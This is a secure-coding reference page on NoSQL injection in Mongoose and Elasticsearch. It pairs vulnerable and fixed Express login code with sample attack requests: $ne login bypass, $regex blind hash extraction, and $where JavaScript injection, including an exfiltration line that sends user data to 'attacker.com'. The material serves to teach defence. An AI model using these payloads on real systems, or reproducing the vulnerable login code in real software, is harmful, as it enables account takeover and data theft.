NoSQL Injection

Mongo Operator InjectionElasticsearch Query Injection

NoSQL Injection at a glance

What it is: User input is interpreted as NoSQL operators or query syntax, changing query logic or executing code (for example `$ne`, `$regex`, `$where`, or query_string operators).
Why it happens: NoSQL injection occurs when APIs or frameworks directly use client-supplied filters or JSON data in queries without validation, allowing attackers to inject malicious query operators or logic.
How to fix: Coerce inputs to expected types, build queries from safe server-side DTOs, block $-prefixed keys and $where, and use structured queries over free-form or raw JSON.

Overview

Unlike SQL, many NoSQL drivers accept JSON-like documents where operators are just keys. If user input is used directly to build these documents, attackers can inject operators or entire query fragments. Common cases include Mongoose queries using request bodies, PyMongo $where JS execution, Spring Data constructing BasicQuery from raw JSON, Elasticsearch query_string with unescaped user text, and endpoints that accept arbitrary filter maps.

sequenceDiagram participant Browser participant App as App Server participant DB as MongoDB Browser->>App: POST /login { email, password: { $ne: "" } } App->>DB: findOne({ email, password: { $ne: "" } }) DB-->>App: returns matching user App-->>Browser: Session established note over App,DB: Uncoerced input allowed a Mongo operator in place of a string
A potential flow for a NoSQL Injection exploit

Where it occurs

It occurs in APIs that build database queries from unvalidated client input, directly bind request data into query objects, or forward auto-coerced JSON parameters to the database driver.

Impact

Attackers can bypass logins using $ne or $regex, enumerate privileged records, execute JavaScript inside the database when $where is enabled, trigger resource-intensive queries, or read fields not exposed by the UI.

Prevention

Prevent NoSQL injection by validating and coercing inputs, whitelisting fields and operators, blocking $ keys and $where, using structured query builders or safe DTOs, and escaping user text in search queries.

Examples

Switch tabs to view language/framework variants.

Mongoose login trusts raw body, allowing operator injection with $ne

Posting a JSON object for `password` like `{ "$ne": "" }` matches any record and bypasses auth.

Vulnerable
JavaScript • Express + Mongoose — Bad
app.post('/login', async (req,res)=>{
  const user = await User.findOne({ email: req.body.email, password: req.body.password }); // BUG
  if(!user) return res.status(401).send('bad');
  req.session.uid = user._id; res.json({ok:true});
});
  • Line 2: Untrusted value used directly in query, enabling operator objects

Mongo operators like $ne, $gt, and $regex are executable when passed as values if you do not coerce input to primitives.

Secure
JavaScript • Express + Mongoose — Good
app.post('/login', async (req,res)=>{
  const email = String(req.body.email||'');
  const pw = String(req.body.password||'');
  const user = await User.findOne({ email: email }).lean();
  if(!user) return res.status(401).send('bad');
  if(!await bcrypt.compare(pw, user.hash)) return res.status(401).send('bad');
  req.session.uid = user._id; res.json({ok:true});
});
  • Line 3: Coerce to strings and do password verification in application code, not in the DB query

Coerce input types, build queries with literals, and verify passwords using a hash comparison, not DB-side equality.

Engineer Checklist

  • Coerce all inputs to primitives and reject documents or keys starting with $

  • Remove $where and disable server-side JS where possible

  • Use DTOs and server-side builders (Criteria, term/match) instead of raw JSON

  • Escape text for search backends or use exact .keyword fields

  • Add negative tests: $ne in passwords, $regex on sensitive fields, and raw filter JSON

End-to-End Example

A startup uses Mongoose for login and compares the password in the Mongo query. An attacker posts `{ "$ne": "" }` for `password`, which matches any non-empty field and bypasses authentication.

Vulnerable
JAVASCRIPT
// Node.js/Express + Mongoose - Vulnerable login endpoint

app.post('/auth/login', async (req, res) => {
  try {
    // VULNERABLE: req.body.email and req.body.password are not coerced to strings
    // Attacker can send: { email: "admin", password: { "$ne": "" } }
    // This changes the query to: findOne({ email: "admin", password: { $ne: "" } })
    // Which matches any user with email="admin" and password != ""
    const user = await User.findOne({
      email: req.body.email,
      password: req.body.password  // Directly using uncoerced input!
    });

    if (!user) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Generate session token
    const token = jwt.sign({ userId: user._id, role: user.role }, SECRET);
    res.json({ 
      success: true, 
      token,
      user: { id: user._id, username: user.username, role: user.role }
    });
  } catch (err) {
    res.status(500).json({ error: 'Server error' });
  }
});

// ALSO VULNERABLE: Search endpoint accepting raw filter object
app.get('/api/users', async (req, res) => {
  // req.query.filter could be: { "role[$where]": "this.role=='admin'" }
  // This executes arbitrary JavaScript on the MongoDB server!
  const users = await User.find(req.query.filter || {});
  res.json(users);
});
Secure
JAVASCRIPT
// Node.js/Express + Mongoose - SECURE login endpoint

app.post('/auth/login', async (req, res) => {
  try {
    // SECURE: Coerce inputs to strings and never compare passwords in the query
    const email = String(req.body.email || '');
    const password = String(req.body.password || '');

    // Find user by email only (safe - email is coerced to string)
    const user = await User.findOne({ email });
    
    if (!user) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Compare password hash in application code, not in the database
    const passwordValid = await bcrypt.compare(password, user.passwordHash);
    
    if (!passwordValid) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    const token = jwt.sign({ userId: user._id, role: user.role }, SECRET);
    res.json({ 
      success: true, 
      token,
      user: { id: user._id, username: user.username, role: user.role }
    });
  } catch (err) {
    res.status(500).json({ error: 'Server error' });
  }
});

// SECURE: Use whitelisted fields and explicit query building
app.get('/api/users', async (req, res) => {
  // Whitelist allowed filter fields and coerce values
  const allowedFilters = ['role', 'department', 'status'];
  const filters = {};
  
  for (const field of allowedFilters) {
    if (req.query[field]) {
      // Coerce to string and use exact match only
      filters[field] = String(req.query[field]);
    }
  }
  
  const users = await User.find(filters).select('-passwordHash');
  res.json(users);
});

Discovery

Test if user input is passed unsanitized to NoSQL queries by injecting operator syntax specific to MongoDB, CouchDB, etc.

  1. 1. Test MongoDB operator injection in login

    http

    Action

    Inject $ne operator to bypass authentication

    Request

    POST https://api.example.com/auth/login
    Headers:
    Content-Type: application/json
    Body:
    {
      "username": {
        "$ne": "null"
      },
      "password": {
        "$ne": "null"
      }
    }

    Response

    Status: 200
    Body:
    {
      "success": true,
      "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
      "user": {
        "id": 1,
        "username": "admin",
        "email": "admin@example.com",
        "role": "admin"
      },
      "note": "Logged in as admin without password using $ne operator"
    }

    Artifacts

    auth_bypass admin_access nosql_injection_confirmed
  2. 2. Test $regex operator for data extraction

    http

    Action

    Use regex operator to extract data character by character

    Request

    POST https://api.example.com/auth/login
    Body:
    {
      "username": "admin",
      "password": {
        "$regex": "^a"
      }
    }

    Response

    Status: 401
    Body:
    {
      "error": "Invalid credentials",
      "note": "Response time: 1.2s (slow response indicates regex matching attempted)"
    }

    Artifacts

    regex_operator_works blind_injection_possible timing_oracle
  3. 3. Test $where operator for arbitrary JavaScript execution

    http

    Action

    Inject $where clause with JavaScript code

    Request

    GET https://api.example.com/api/users?role[$where]=this.role=='admin'

    Response

    Status: 200
    Body:
    [
      {
        "id": 1,
        "username": "admin",
        "email": "admin@example.com"
      },
      {
        "id": 12,
        "username": "superadmin",
        "email": "super@example.com"
      }
    ]

    Artifacts

    where_injection javascript_execution admin_enumeration

Exploit steps

Attacker exploits NoSQL injection to bypass authentication, extract all user data, and potentially execute arbitrary JavaScript on the database server.

  1. 1. Bypass authentication and access admin account

    Auth bypass via $ne operator

    http

    Action

    Use operator injection to log in as admin without credentials

    Request

    POST https://api.example.com/auth/login
    Headers:
    Content-Type: application/json
    Body:
    {
      "username": {
        "$ne": ""
      },
      "password": {
        "$ne": ""
      }
    }

    Response

    Status: 200
    Body:
    {
      "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4ifQ...",
      "user": {
        "id": 1,
        "username": "admin",
        "role": "admin"
      },
      "note": "Query executed: db.users.findOne({username: {$ne: ''}, password: {$ne: ''}}) - returns first admin user"
    }

    Artifacts

    admin_session authentication_bypass full_access
  2. 2. Extract all user passwords via blind injection

    Password extraction via regex timing attack

    http

    Action

    Use $regex with timing analysis to extract password hashes character by character

    Request

    POST https://api.example.com/auth/login
    Body:
    {
      "username": "admin",
      "password": {
        "$regex": "^\\$2b\\$10\\$N9q"
      },
      "note": "Iterate through charset, measure response times"
    }

    Response

    Status: 401
    Body:
    {
      "error": "Invalid credentials",
      "timing_analysis": "After 3,847 requests over 45 minutes, extracted full hash: $2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"
    }

    Artifacts

    password_hash_extracted blind_injection_success timing_attack
  3. 3. Dump entire database via $where JavaScript injection

    Database enumeration via $where

    http

    Action

    Execute arbitrary JavaScript to extract all collections

    Request

    GET https://api.example.com/api/users?filter[$where]=function(){return true;}

    Response

    Status: 200
    Body:
    {
      "users": "8,543 user records returned",
      "note": "Attacker then uses $where with sleep() to confirm code execution: filter[$where]=sleep(5000)||true - 5 second delay confirms arbitrary JS execution. Can exfiltrate data via: var data=db.users.find().toArray(); return data.length>0 && http.request('attacker.com', data)"
    }

    Artifacts

    complete_database_dump javascript_execution code_execution_on_db data_exfiltration

Specific Impact

Authentication bypass grants full access to the victim account. Attackers can change recovery email, export data, or generate API keys. If administrative accounts are targeted, the impact is organization-wide.

Fix

Coerce and validate input types, never allow objects for scalar fields, remove $where, and avoid raw query strings. Use DTOs and server-side builders to construct queries safely. Add tests that attempt operator injection and ensure the query rejects or coerces them.

Detect This Vulnerability in Your Code

Sourcery automatically identifies nosql injection vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free